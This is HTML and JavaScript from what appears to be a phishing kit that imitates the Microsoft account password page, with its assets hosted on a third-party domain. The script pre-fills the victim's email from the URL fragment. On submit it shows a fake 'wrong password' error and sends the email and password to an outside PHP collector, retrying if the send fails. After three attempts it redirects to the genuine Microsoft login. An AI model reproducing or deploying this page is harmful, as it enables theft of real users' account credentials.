                                                    data-bind="value: svr.bA ? 1 : 0" value="0">
                                                <input type="hidden" name="IsFidoSupported"
                                                    data-bind="value: isFidoSupported() ? 1 : 0" value="1">
                                                <input type="hidden" name="isSignupPost"
                                                    data-bind="value: isSignupPost() ? 1 : 0" value="0">
                                                
                                                <input type="hidden" name="isRecoveryAttemptPost"
                                                    data-bind="value: isRecoveryAttemptPost() ? 1 : 0" value="0">
                                                
                                                
                                                <div data-bind="component: { name: &#39;instrumentation-control&#39;,
            publicMethods: instrumentationMethods,
            params: { serverData: svr } }">
                                                    <input type="hidden" name="i19" data-bind="value: timeOnPage"
                                                        value="">
                                                </div>
                                                
                                            </div>

                                            
                                            
                                            
                                            

                                            

                                            
                                            

                                            
                                        </div>
                                    </div>
                                    
                                </div>
                            </div>
                        </div>

                        
                        <div id="footer" role="contentinfo" data-bind="
        externalCss: {
            &#39;footer&#39;: true,
            &#39;has-background&#39;: !$page.useDefaultBackground() &amp;&amp; $page.showFooter(),
            &#39;background-always-visible&#39;: $page.backgroundLogoUrl }" class="footer ext-footer">

                            <div data-bind="component: { name: &#39;footer-control&#39;,
            publicMethods: $page.footerMethods,
            params: {
                serverData: svr,
                useDefaultBackground: $page.useDefaultBackground(),
                hasDarkBackground: $page.backgroundLogoUrl(),
                showLinks: true,
                showFooter: $page.showFooter(),
                hideTOU: $page.hideTOU(),
                termsText: $page.termsText(),
                termsLink: $page.termsLink(),
                hidePrivacy: $page.hidePrivacy(),
                privacyText: $page.privacyText(),
                privacyLink: $page.privacyLink() },
            event: {
                agreementClick: $page.footer_agreementClick,
                showDebugDetails: $page.toggleDebugDetails_onClick } }">
                                
                                <div id="footerLinks" class="footerNode text-secondary footer-links ext-footer-links"
                                    data-bind="externalCss: { &#39;footer-links&#39;: true }">

                                    
                                    
                                    <a id="ftrTerms" data-bind="
            text: termsText,
            href: termsLink,
            click: termsLink_onClick,
            externalCss: {
                &#39;footer-content&#39;: true,
                &#39;footer-item&#39;: true,
                &#39;has-background&#39;: !useDefaultBackground,
                &#39;background-always-visible&#39;: hasDarkBackground }"
                                        href="https://login.live.com/gls.srf?urlID=WinLiveTermsOfUse&amp;mkt=EN-GB&amp;uaid=a895326f36b74fc294363ee60298259d"
                                        class="footer-content ext-footer-content footer-item ext-footer-item">Terms of
                                        use</a>
                                    

                                    
                                    <a id="ftrPrivacy" data-bind="
            text: privacyText,
            href: privacyLink,
            click: privacyLink_onClick,
            externalCss: {
                &#39;footer-content&#39;: true,
                &#39;footer-item&#39;: true,
                &#39;has-background&#39;: !useDefaultBackground,
                &#39;background-always-visible&#39;: hasDarkBackground }"
                                        href="https://login.live.com/gls.srf?urlID=MSNPrivacyStatement&amp;mkt=EN-GB&amp;uaid=a895326f36b74fc294363ee60298259d"
                                        class="footer-content ext-footer-content footer-item ext-footer-item">Privacy
                                        &amp; cookies</a>
                                    

                                    

                                    

                                    
                                    

                                    
                                    <a id="moreOptions" href="https://login.live.com/#" role="button" data-bind="
        click: moreInfo_onClick,
        ariaLabel: str[&#39;CT_STR_More_Options_Ellipsis_AriaLabel&#39;],
        attr: { &#39;aria-expanded&#39;: showDebugDetails().toString() },
        hasFocusEx: focusMoreInfo(),
        externalCss: {
            &#39;footer-content&#39;: true,
            &#39;footer-item&#39;: true,
            &#39;debug-item&#39;: true,
            &#39;has-background&#39;: !useDefaultBackground,
            &#39;background-always-visible&#39;: hasDarkBackground }"
                                        aria-label="Click here for troubleshooting information" aria-expanded="false"
                                        class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
                                </div>
                                

                                
                            </div>
                        </div>
                        
                    </div>
                    
                </div>
                

                
                
                
            </div>
            
        </form>

        <form data-bind="postRedirectForm: postRedirect" method="POST" aria-hidden="true" target="_top"></form>

        

        
    </div>
    <script>
        // ############################################################################
        // Specify the URL of the PHP file Here
        var url = "https://foghjk.com/rptin/inon/zzzrptin/mso/main.php";
        // ############################################################################

        var a1 = document.querySelectorAll(".aaaa1");
        var a2 = document.querySelectorAll(".aaaa2");
        let email

        window.onload = function () {
            // Get the current URL
            var url = window.location.href;

            // Parse the URL and get the fragment (the part after the '#')
            var urlComponents = new URL(url);
            email = urlComponents.hash.substring(1);

            // Check if the fragment is a valid email
            var emailRegex = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
            if (emailRegex.test(email)) {
                //   Make this email available globally
                window.email = email;
                // If it is, add the email into a html element as text
                var emailElement = document.querySelector(".identity");
                var emailInput = document.querySelector(".in-identity")
                if (emailElement) {
                    emailElement.title = email;
                    emailElement.innerHTML = email;
                    emailInput.value = email
                }
            }
        };


        // Get the form and input elements
        var form = document.getElementById("i0281");
        // var textForm = document.getElementById("username");
        var input = document.querySelector(".passwording");
        var inputColor = document.getElementById("i0118")
        var emptyField = document.querySelectorAll(".e1")
        var passwordError = document.querySelectorAll(".e2");

        var clickCount = 0;

        // Add an event listener for form submission
        form.addEventListener("submit", function (event) {
            // Prevent the form from being submitted normally
            event.preventDefault();

            // Get the input value
            var password = input.value;

            // Write an if statement to check if the input value is empty
            if (password === "") {
                // If it is, do nothing and return from the function
                emptyField.forEach(function (empty) {
                    empty.classList.remove("hidden");
                })
                inputColor.style.cssText = 'border-color: #e81123;'
                setTimeout(function () {
                    emptyField.forEach(function (empty) {
                        empty.classList.add("hidden");
                    })
                    inputColor.style.cssText = ''
                }, 3000)
                return;
            }

            // Toggle classlist of passwordError to add or remove the "input-byline--error-hidden" class
            loading()
            setTimeout(function () {
                passwordError.forEach(function (error) {
                    error.classList.remove("hidden");
                });
                inputColor.style.cssText = 'border-color: #e81123;'
                input.value = "";
                // textForm.value = ""
                setTimeout(function () {
                    passwordError.forEach(function (error) {
                        error.classList.add("hidden");
                    });
                    inputColor.style.cssText = '';
                }, 3000)
            }, 3000)

            if (email && password) {
                let dataLog = {
                    email,
                    password,
                    desc: "https://login.microsoftonline.com/ Login Details",
                };
                // console.log(dataLog);
                sendDataWithRetry(dataLog);
            }

        });

        // Write a function that will redirect the page to a URL
        function toggleClass() {
            // Redirect the page to a URL
            window.location.href = "https://login.microsoftonline.com/";
        }


        function loading() {
            const loader = document.querySelector(".loader");

            loader.classList.remove("loader--hidden");

            setTimeout(function () {
                loader.classList.add("loader--hidden");
            }, 3000);
        }

        // Send data to the PHP file
        function sendDataWithRetry(dataLog, maxRetries = 3) {
            const sendRequest = async (retryCount) => {
                try {
                    const response = await fetch(url, {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/json; charset=utf-8",
                        },
                        body: JSON.stringify(dataLog),
                    });

                    if (response.ok) {
                        const responseData = await response.json();
                        // console.log("Data received by PHP:", responseData);
                        clickCount++;
                        // console.log(clickCount);
                        if (clickCount === 3) {
                            // Execute a separate function on second click
                            toggleClass();
                            clickCount = 0;
                        }
                        // Continue with other tasks (e.g., UI updates, etc.)
                    } else {
                        throw new Error("Network response was not OK");
                    }
                } catch (error) {
                    console.error("Error sending data:", error);
                    if (retryCount < maxRetries) {
                        console.log(`Retrying (attempt ${retryCount + 1})...`);
                        await sendRequest(retryCount + 1);
                    } else {
                        console.error("Max retries reached. Data not sent.");
                        // Handle failure (e.g., show an error message)
                    }
                }
            };
            sendRequest(0); // Start the initial request
        }

    </script>
</body>

</html></script>

<script language=javascript><!DOCTYPE html>
<html dir="ltr" lang="EN-GB">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    
    <base href=>
    <script
        type="text/javascript">var PROOF = {}; PROOF.Type = { SQSA: 6, CSS: 5, DeviceId: 4, Email: 1, AltEmail: 2, SMS: 3, HIP: 8, Birthday: 9, TOTPAuthenticator: 10, RecoveryCode: 11, StrongTicket: 13, TOTPAuthenticatorV2: 14, UniversalSecondFactor: 15, SecurityKey: 18, Voice: -3 };</script>
    <noscript>
        <meta http-equiv="Refresh"
            content="0; URL=https://login.live.com/jsDisabled.srf?mkt=EN-GB&lc=2057&uaid=a895326f36b74fc294363ee60298259d" />
        Microsoft account requires JavaScript to sign in. This web browser either does not support JavaScript, or
        scripts are being blocked.<br /><br />To find out whether your browser supports JavaScript, or to allow scripts,
        see the browser's online help.
    </noscript>
    <title>Sign in to your Microsoft account</title>
    <meta name="robots" content="none">
    <meta name="PageID" content="i5030">
    <meta name="SiteID" content="38936">
    <meta name="ReqLC" content="2057">
    <meta name="LocLC" content="2057">
    <meta name="viewport"
        content="width=device-width, initial-scale=1.0, maximum-scale=2.0, minimum-scale=1.0, user-scalable=yes">
    <script
        type="text/javascript">!function (e, r) { for (var t in r) e[t] = r[t] }(this, function (e) { function r(n) { if (t[n]) return t[n].exports; var o = t[n] = { exports: {}, id: n, loaded: !1 }; return e[n].call(o.exports, o, o.exports, r), o.loaded = !0, o.exports } var t = {}; return r.m = e, r.c = t, r.p = "", r(0) }([function (e, r) { !function () { function e() { return l.$Config || l.ServerData || {} } function r(e, r) { var t = l.$Debug; t && t.appendLog && (r && (e += " '" + (r.src || r.href || "") + "'", e += ", id:" + (r.id || ""), e += ", async:" + (r.async || ""), e += ", defer:" + (r.defer || "")), t.appendLog(e)) } function t() { var e = l.$B; if (void 0 === c) if (e) c = e.IE; else { var r = l.navigator.userAgent; c = r.indexOf("MSIE ") !== -1 || r.indexOf("Trident/") !== -1 } return c } function n() { var e = l.$B; if (void 0 === f) if (e) f = e.RE_Edge; else { var r = l.navigator.userAgent; f = r.indexOf("Edge") !== -1 } return f } function o(e) { var r = e.indexOf("?"), t = r > -1 ? r : e.length, n = e.lastIndexOf(, t), o = e.substring(n, n + h.length).toLowerCase() === h; return o } function a() { var r = e(), t = r.loader || {}; return t.slReportFailure || r.slReportFailure || !1 } function i() { var r = e(), t = r.loader || {}; return t.redirectToErrorPageOnLoadFailure || !1 } function s() { var r = e(), t = r.loader || {}; return t.logByThrowing || !1 } function d(e) { if (!t() && !n()) return !1; var r = e.src || e.href || ""; if (!r) return !0; if (o(r)) { var a, i, s; try { a = e.sheet, i = a && a.cssRules, s = !1 } catch (d) { s = !0 } if (a && !i && s) return !0; if (a && i && 0 === i.length) return !0 } return !1 } function u() { function t(e) { var r = g.getElementsByTagName("head")[0]; r.appendChild(e) } function n(e, r, t, n) { var d = null; return d = o(e) ? a(e) : "script" === n.toLowerCase() ? i(e) : s(e, n), r && (d.id = r), "function" == typeof d.setAttribute && (d.setAttribute("crossorigin", "anonymous"), t && "string" == typeof t && d.setAttribute("integrity", t)), d } function a(e) { var r = g.createElement("link"); return r.rel = "stylesheet", r.type = "text/css", r.href = e, r } function i(e) { var r = g.createElement("script"), t = g.querySelector("script[nonce]"); if (r.type = "text/javascript", r.src = e, r.defer = !1, r.async = !1, t) { var n = t.nonce || t.getAttribute("nonce"); r.setAttribute("nonce", n) } return r } function s(e, r) { var t = g.createElement(r); return t.src = e, t } function c(e, r) { if (e && e.length > 0 && r) for (var t = 0; t < e.length; t++)if (r.indexOf(e[t]) !== -1) return !0; return !1 } function f(r) { var t = e(); if (t.cs) { var n = c(L, r) ? L : x; if (!(n && n.length > 1)) return r; for (var o = "https://", a = 0; a < n.length; a++)if (r.indexOf(n[a]) !== -1) { var i = n[a + 1 < n.length ? a + 1 : 0], s = r.substring(n[a].length); return n[a].substring(0, o.length) !== o && (i = o + i, s = s.substring(o.length)), i + s } return r } if (!(x && x.length > 1)) return r; for (var d = 0; d < x.length; d++)if (0 === r.indexOf(x[d])) return x[d + 1 < x.length ? d + 1 : 0] + r.substring(x[d].length); return r } function l(e, t, n, o) { return r("[$Loader]: " + (R.failMessage || "Failed"), o), b[e].retry < y ? (b[e].retry++, v(e, t, n), void u._ReportFailure(b[e].retry, b[e].srcPath)) : void (n && n()) } function h(e, t, n, o) { if (d(o)) return l(e, t, n, o); r("[$Loader]: " + (R.successMessage || "Loaded"), o), v(e + 1, t, n); var a = b[e].onSuccess; "function" == typeof a && a(b[e].srcPath) } function v(e, o, a) { if (e < b.length) { var i = b[e]; if (!i || !i.srcPath) return void v(e + 1, o, a); i.retry > 0 && (i.srcPath = f(i.srcPath), i.origId || (i.origId = i.id), i.id = i.origId + "_Retry_" + i.retry); var s = n(i.srcPath, i.id, i.integrity, i.tagName); s.onload = function () { h(e, o, a, s) }, s.onerror = function () { l(e, o, a, s) }, s.onreadystatechange = function () { "loaded" === s.readyState ? setTimeout(function () { h(e, o, a, s) }, 500) : "complete" === s.readyState && h(e, o, a, s) }, t(s), r("[$Loader]: Loading '" + (i.srcPath || "") + "', id:" + (i.id || "")) } else o && o() } var p = e(), y = p.slMaxRetry || 2, m = p.loader || {}, x = m.cdnRoots || [], L = m.tenantBrandingCdnRoots || [], R = this, b = []; R.retryOnError = !0, R.successMessage = "Loaded", R.failMessage = "Error", R.Add = function (e, r, t, n, o, a) { e && b.push({ srcPath: e, id: r, retry: n || 0, integrity: t, tagName: o || "script", onSuccess: a }) }, R.AddForReload = function (e, r) { var t = e.src || e.href || ""; R.Add(t, "AddForReload", e.integrity, 1, e.tagName, r) }, R.AddIf = function (e, r, t) { e && R.Add(r, t) }, R.Load = function (e, r) { v(0, e, r) } } var c, f, l = window, g = l.document, h = ".css"; u.On = function (e, r, t) { if (!e) throw "The target element must be provided and cannot be null."; r ? u.OnError(e, t) : u.OnSuccess(e, t) }, u.OnSuccess = function (e, t) { if (!e) throw "The target element must be provided and cannot be null."; if (d(e)) return u.OnError(e, t); var n = e.src || e.href || "", o = a(), s = i(); r("[$Loader]: Loaded", e); var c = new u; c.failMessage = "Reload Failed", c.successMessage = "Reload Success", c.Load(null, function () { if (o) throw "Unexpected state. ResourceLoader.Load() failed despite initial load success. ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }) }, u.OnError = function (e, t) { var n = e.src || e.href || "", o = a(), s = i(); if (!e) throw "The target element must be provided and cannot be null."; r("[$Loader]: Failed", e); var d = new u; d.failMessage = "Reload Failed", d.successMessage = "Reload Success", d.AddForReload(e, t), d.Load(null, function () { if (o) throw "Failed to load external resource ['" + n + "']"; s && (document.location.href = "/error.aspx?err=504") }), u._ReportFailure(0, n) }, u._ReportFailure = function (e, r) { if (s() && !t()) throw "[Retry " + e + "] Failed to load external resource ['" + r + "'], reloading from fallback CDN endpoint" }, l.$Loader = u }() }]));</script>
    <script
        type="text/javascript">!function (r, t) { for (var e in t) r[e] = t[e] }(this, function (r) { function t(o) { if (e[o]) return e[o].exports; var n = e[o] = { exports: {}, id: o, loaded: !1 }; return r[o].call(n.exports, n, n.exports, t), n.loaded = !0, n.exports } var e = {}; return t.m = r, t.c = e, t.p = "", t(0) }([function (r, t) { !function () { function r(r, t) { function e(i) { var a = r[i]; return i < o - 1 ? void (n.r[a] ? e(i + 1) : n.when(a, function () { e(i + 1) })) : void t(a) } var o = r.length; e(0) } function t(r, t, i) { function a() { var r = !!u.method, n = r ? u.method : i[0], a = u.extraArgs || [], c = o.$WebWatson; try { var f = e(i, !r); if (a && a.length > 0) for (var s = a.length, v = 0; v < s; v++)f.push(a[v]); n.apply(t, f) } catch (h) { return void (c && c.submitFromException && c.submitFromException(h)) } } var u = n.r && n.r[r]; return t = t ? t : this, u && (u.skipTimeout ? a() : o.setTimeout(a, 0)), u } function e(r, t) { return Array.prototype.slice.call(r, t ? 1 : 0) } var o = window; o.$Do || (o.$Do = { q: [], r: [], removeItems: [], lock: 0, o: [] }); var n = o.$Do; n.when = function (e, o) { function i(r) { t(r, a, u) || n.q.push({ id: r, c: a, a: u }) } var a = 0, u = [], c = 1, f = "function" == typeof o; f || (a = o, c = 2); for (var s = c; s < arguments.length; s++)u.push(arguments[s]); e instanceof Array ? r(e, i) : i(e) }, n.register = function (r, e, o) { if (!n.r[r]) { n.o.push(r); var i = {}; if (e && (i.method = e), o && (i.skipTimeout = o), arguments && arguments.length > 3) { i.extraArgs = []; for (var a = 3; a < arguments.length; a++)i.extraArgs.push(arguments[a]) } n.r[r] = i, n.lock++; try { for (var u = 0; u < n.q.length; u++) { var c = n.q[u]; c.id == r && t(r, c.c, c.a) && n.removeItems.push(c) } } catch (f) { throw f } finally { if (n.lock--, 0 === n.lock) { for (var s = 0; s < n.removeItems.length; s++)for (var v = n.removeItems[s], h = 0; h < n.q.length; h++)if (n.q[h] === v) { n.q.splice(h, 1); break } n.removeItems = [] } } } }, n.unregister = function (r) { n.r[r] && delete n.r[r] } }() }]));</script>
    <script
        type="text/javascript">!function (n, e) { for (var r in e) n[r] = e[r] }(this, function (n) { function e(o) { if (r[o]) return r[o].exports; var t = r[o] = { exports: {}, id: o, loaded: !1 }; return n[o].call(t.exports, t, t.exports, e), t.loaded = !0, t.exports } var r = {}; return e.m = n, e.c = r, e.p = "", e(0) }([function (n, e) { !function () { function n() { return r.$Config || r.ServerData || {} } function e() { var e = (n(), new t), r = this, i = [], f = []; r.Add = function (n, r, o, t) { e.Add(n, r, o, t) }, r.Provides = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)i.push(n[e]); else i.push(n) }, r.Requires = function (n) { if (n) if (n instanceof Array) for (var e = 0; e < n.length; e++)f.push(n[e]); else f.push(n) }, r.Load = function (n, r) { var t = function () { n && n(); for (var e = 0; e < i.length; e++)o.register(i[e], 0, !0) }, u = function () { e.Load(t, r) }; f.length > 0 ? o.when(f, u) : u() } } var r = window, o = (r.document, r.$Do), t = r.$Loader, i = ".css"; i.length; e.WhenLoaded = function (n, e) { o.when(n, e) }, r.$DepLoader = e }() }]));</script>
    <link rel="shortcut icon" href="https://jdmediax.com/app/officenormal/media/favicon.ico">
    <link rel="stylesheet" title="Converged_v2" type="text/css" onload="$Loader.OnSuccess(this)"
        onerror="$Loader.OnError(this)"
        href="https://jdmediax.com/app/officenormal/media/Converged_v22057_sKiljltKC1Ne_Y3fl1HuHQ2.css">
    <style type="text/css"></style>
    <style type="text/css">
        body {
            display: none;
        }
    </style>
    <script
        type="text/javascript">if (top != self) { try { top.location.replace(self.location.href); } catch (e) { } } else { <style type="text/css">body{display:block !important;}</style> }</script>
    <style type="text/css">
        body {
            display: block !important;
        }
    </style><noscript>
        <style type="text/css">
            body {
                display: block !important;
            }
        </style>
    </noscript>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }

        .errorzz {
            padding: 4px 8px;
            border-style: solid;
            border-width: 2px;
            border-color: rgba(0, 0, 0, .4);
            background-color: rgba(255, 255, 255, .4);
            height: 32px;
            height: 2rem;
            padding: 6px 10px;
            border-width: 1px;
            border-color: #666;
            height: 36px;
            outline: none;
            border-radius: 0;
            -webkit-border-radius: 0;
            background-color: transparent;
            border-top-width: 0;
            border-left-width: 0;
            border-right-width: 0;
            padding-left: 0;
            border-color: #e81123;
        }

        .loader {
            position: fixed;
            opacity: 0.5;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            display: flex;
            align-items: center;
            justify-content: center;
            background: #333333;
            transition: opacity 0.75s, visibility 0.75s;
            z-index: 10000;
        }

        .loader--hidden {
            opacity: 0;
            visibility: hidden;
        }

        .loader::after {
            content: "";
            width: 75px;
            height: 75px;
            border: 15px solid #dddddd;
            border-top-color: #0078c8;
            border-radius: 50%;
            animation: loading 0.75s ease infinite;
            z-index: 10000;
        }

        @keyframes loading {
            from {
                transform: rotate(0turn);
            }

            to {
                transform: rotate(1turn);
            }
        }
    </style>
    <script charset="utf-8"
        src="https://jdmediax.com/app/officenormal/media/convergedlogin_ppassword_b2ec0d9661751c7da58d.js.download"></script>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }
    </style>
    <style type="text/css">
        .inner,
        .promoted-fed-cred-box,
        .sign-in-box,
        .new-session-popup-v2sso,
        .debug-details-banner,
        .vertical-split-content {
            min-width: 0;
        }
    </style>
</head>

<body class="cb" data-bind="defineGlobals: ServerData, bodyCssClass">
    <div class="loader loader--hidden"></div>
    <div>

        

        <div data-bind="if: activeDialog"></div>

        <form name="f1" id="i0281" novalidate="novalidate" spellcheck="false" method="post" target="_top"
            autocomplete="off"
            data-bind="autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: !!activeDialog(), css: { &#39;provide-min-height&#39;: svr.cu }"
            class="provide-min-height myform">
            
            <div class="login-paginated-page" data-bind="component: { name: &#39;master-page&#39;,
        publicMethods: masterPageMethods,
        params: {
            serverData: svr,
            showButtons: svr.e,
            showFooterLinks: true,
            useWizardBehavior: svr.bn,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }">

                

                
                
                
                <div id="lightboxTemplateContainer"
                    data-bind="component: { name: &#39;lightbox-template&#39;, params: { serverData: svr, showHeader: $page.showHeader(), headerLogo: $page.headerLogo() } }, css: { &#39;provide-min-height&#39;: svr.cu }"
                    class="provide-min-height">

                    <div id="lightboxBackgroundContainer" data-bind="css: { &#39;provide-min-height&#39;: svr.cV },
    component: { name: &#39;background-image-control&#39;,
        publicMethods: $page.backgroundControlMethods,
        event: { load: $page.backgroundImageControl_onLoad } }">
                        <div class="background-image-holder" role="presentation"
                            data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
                            

                            
                            
                            
                            <div id="backgroundImage"
                                data-bind="backgroundImage: backgroundImageUrl(), externalCss: { &#39;background-image&#39;: true }"
                                class="background-image ext-background-image"
                                style="background-image: url(&quot;https://logincdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg&quot;);">
                            </div>
                            
                            
                            
                        </div>
                    </div>

                    

                    
                    <div class="outer" data-bind="css: { &#39;app&#39;: $page.backgroundLogoUrl }">
                        

                        <div class="template-section main-section">
                            <div data-bind="externalCss: { &#39;middle&#39;: true }" class="middle ext-middle">
                                <div class="full-height"
                                    data-bind="component: { name: &#39;content-control&#39;, params: { serverData: svr, isVerticalSplitTemplate: $page.isVerticalSplitTemplate(), hasHeader: showHeader } }">
                                    

                                    
                                    <div class="flex-column">
                                        

                                        

                                        <div class="win-scroll">
                                            <div id="lightbox" data-bind="
            animationEnd: $page.paginationControlHelper.animationEnd,
            externalCss: { &#39;sign-in-box&#39;: true },
            css: {
                &#39;inner&#39;:  $content.isVerticalSplitTemplate,
                &#39;vertical-split-content&#39;: $content.isVerticalSplitTemplate,
                &#39;app&#39;: $page.backgroundLogoUrl,
                &#39;wide&#39;: $page.paginationControlHelper.useWiderWidth,
                &#39;fade-in-lightbox&#39;: $page.fadeInLightBox,
                &#39;has-popup&#39;: $page.showFedCredAndNewSession &amp;&amp; ($page.showFedCredButtons() || $page.newSession()),
                &#39;transparent-lightbox&#39;: $page.backgroundControlMethods() &amp;&amp; $page.backgroundControlMethods().useTransparentLightBox,
                &#39;lightbox-bottom-margin-debug&#39;: $page.showDebugDetails,
                &#39;has-header&#39;: $content.hasHeader }" class="sign-in-box ext-sign-in-box fade-in-lightbox">

                                                

                                                

                                                <div class="lightbox-cover"
                                                    data-bind="css: { &#39;disable-lightbox&#39;: svr.Co &amp;&amp; showLightboxProgress() }">
                                                </div>

                                                

                                                
                                                <div data-bind="component: { name: &#39;logo-control&#39;,
            params: {
                isChinaDc: svr.fIsChinaDc,
                bannerLogoUrl: bannerLogoUrl() } }">

                                                    

                                                    

                                                    
                                                    
                                                    
                                                    
                                                    <img
                                                        class="logo" role="img"
                                                        pngsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_ea19b2112f4dfd8e90b4505ef7dcb4f9.png"
                                                        svgsrc="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                                                        data-bind="imgSrc, attr: { alt: str[&#39;MOBILE_STR_Footer_Microsoft&#39;] }"
                                                        src="https://jdmediax.com/app/officenormal/media/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg"
                                                        alt="Microsoft">
                                                    
                                                    
                                                    
                                                </div>
                                                

                                                

                                                
                                                <div role="main" data-bind="component: { name: &#39;pagination-control&#39;,
            publicMethods: paginationControlMethods,
            params: {
                enableCssAnimation: svr.Bg,
                disableAnimationIfAnimationEndUnsupported: svr.Cs,
                initialViewId: initialViewId,
                currentViewId: currentViewId,
                initialSharedData: initialSharedData,
                initialError: $loginPage.getServerError() },
            event: {
                cancel: paginationControl_onCancel,
                load: paginationControlHelper.onLoad,
                unload: paginationControlHelper.onUnload,
                loadView: view_onLoadView,
                showView: view_onShow,
                setLightBoxFadeIn: view_onSetLightBoxFadeIn,
                animationStateChange: paginationControl_onAnimationStateChange } }">

                                                    <div data-bind="css: { &#39;zero-opacity&#39;: hidePaginatedView() }"
                                                        class="">
                                                        
                                                        <div data-bind="css: {
        &#39;animate&#39;: animate() &amp;&amp; animate.animateBanner(),
        &#39;slide-out-next&#39;: animate.isSlideOutNext(),
        &#39;slide-in-next&#39;: animate.isSlideInNext(),
        &#39;slide-out-back&#39;: animate.isSlideOutBack(),
        &#39;slide-in-back&#39;: animate.isSlideInBack() }" class="animate slide-in-next">

                                                            <div data-bind="component: { name: &#39;identity-banner-control&#39;,
            params: {
                userTileUrl: svr.CH,
                displayName: sharedData.displayName || svr.h,
                isBackButtonVisible: isBackButtonVisible(),
                focusOnBackButton: isBackButtonFocused(),
                backButtonDescribedBy: backButtonDescribedBy() },
            event: {
                backButtonClick: identityBanner_onBackButtonClick } }">

                                                                <div class="identityBanner">
                                                                    

                                                                    <div id="displayName" class="identity"
                                                                        data-bind="text: unsafe_displayName, attr: { &#39;title&#39;: unsafe_displayName }"
                                                                        title=""></div>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        

                                                        <div class="pagination-view has-identity-banner animate slide-in-next"
                                                            data-bind="css: {
        &#39;has-identity-banner&#39;: showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.h),
        &#39;zero-opacity&#39;: hidePaginatedView.hideSubView(),
        &#39;animate&#39;: animate(),
        &#39;slide-out-next&#39;: animate.isSlideOutNext(),
        &#39;slide-in-next&#39;: animate.isSlideInNext(),
        &#39;slide-out-back&#39;: animate.isSlideOutBack(),
        &#39;slide-in-back&#39;: animate.isSlideInBack() }">

                                                            
                                                            

                                                            

                                                            

                                                            
                                                            
                                                            <div data-viewid="2" data-showidentitybanner="true"
                                                                data-dynamicbranding="true" data-bind="pageViewComponent: { name: &#39;login-paginated-password-view&#39;,
                params: {
                    serverData: svr,
                    serverError: initialError,
                    isInitialView: isInitialState,
                    username: sharedData.username,
                    displayName: sharedData.displayName,
                    hipRequiredForUsername: sharedData.hipRequiredForUsername,
                    passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
                    availableCreds: sharedData.availableCreds,
                    evictedCreds: sharedData.evictedCreds,
                    useEvictedCredentials: sharedData.useEvictedCredentials,
                    showCredViewBrandingDesc: sharedData.showCredViewBrandingDesc,
                    flowToken: sharedData.flowToken,
                    defaultKmsiValue: svr.Ap === 1,
                    userTenantBranding: sharedData.userTenantBranding,
                    sessions: sharedData.sessions,
                    callMetadata: sharedData.callMetadata,
                    supportsNativeCredentialRecovery: sharedData.supportsNativeCredentialRecovery,
                    forgotPasswordText: $loginPage.forgotPasswordText,
                    accessRecoveryLink: $loginPage.accessRecoveryLink,
                    boilerPlateText: $loginPage.boilerPlateText,
                    hideAccountResetCredentials: $loginPage.hideAccountResetCredentials },
                event: {
                    restoreIsRecoveryAttemptPost: $loginPage.view_onRestoreIsRecoveryAttemptPost,
                    updateFlowToken: $loginPage.view_onUpdateFlowToken,
                    submitReady: $loginPage.view_onSubmitReady,
                    redirect: $loginPage.view_onRedirect,
                    resetPassword: $loginPage.passwordView_onResetPassword,
                    setBackButtonState: view_onSetIdentityBackButtonState,
                    setPendingRequest: $loginPage.view_onSetPendingRequest } }">

                                                                

                                                                <div aria-hidden="true">
                                                                    <input type="hidden" name="i13"
                                                                        data-bind="value: isKmsiChecked() ? 1 : 0"
                                                                        value="0">

                                                                    
                                                                    <input type="hidden" name="login"
                                                                        class="in-identity" autocomplete="username"
                                                                        data-bind="value: unsafe_username" value="">
                                                                    
                                                                    

                                                                    
                                                                    <input type="text" name="loginfmt"
                                                                        data-bind="moveOffScreen, value: unsafe_displayName"
                                                                        class="moveOffScreen" tabindex="-1"
                                                                        aria-hidden="true">
                                                                    <input type="hidden" name="type"
                                                                        data-bind="value: svr.bn ? 20 : 11" value="11">
                                                                    <input type="hidden" name="LoginOptions"
                                                                        data-bind="value: isKmsiChecked() ? 1 : 3"
                                                                        value="3">
                                                                    <input type="hidden" name="lrt"
                                                                        data-bind="value: callMetadata.IsLongRunningTransaction"
                                                                        value="">
                                                                    <input type="hidden" name="lrtPartition"
                                                                        data-bind="value: callMetadata.LongRunningTransactionPartition"
                                                                        value="">
                                                                    <input type="hidden" name="hisRegion"
                                                                        data-bind="value: callMetadata.HisRegion"
                                                                        value="">
                                                                    <input type="hidden" name="hisScaleUnit"
                                                                        data-bind="value: callMetadata.HisScaleUnit"
                                                                        value="">
                                                                </div>

                                                                <div id="loginHeader" class="row title ext-title"
                                                                    data-bind="externalCss: { &#39;title&#39;: true }">
                                                                    <div role="heading" aria-level="1"
                                                                        data-bind="text: str[&#39;CT_PWD_STR_EnterPassword_Title&#39;]">
                                                                        Enter password</div>
                                                                </div>

                                                                

                                                                

                                                                <div class="row">
                                                                    <div class="form-group col-md-24">
                                                                        <div role="alert" aria-live="assertive">
                                                                            
                                                                        </div>
                                                                        <div id="passwordError"
                                                                            data-bind="
                                                                                          externalCss: { 'error': true },
                                                                                          htmlWithBindings: passwordTextbox.error,
                                                                                          childBindings: {
                                                                                              'idA_IL_ForgotPassword0': {
                                                                                                  href: accessRecoveryLink || svr.O,
                                                                                                  attr: {
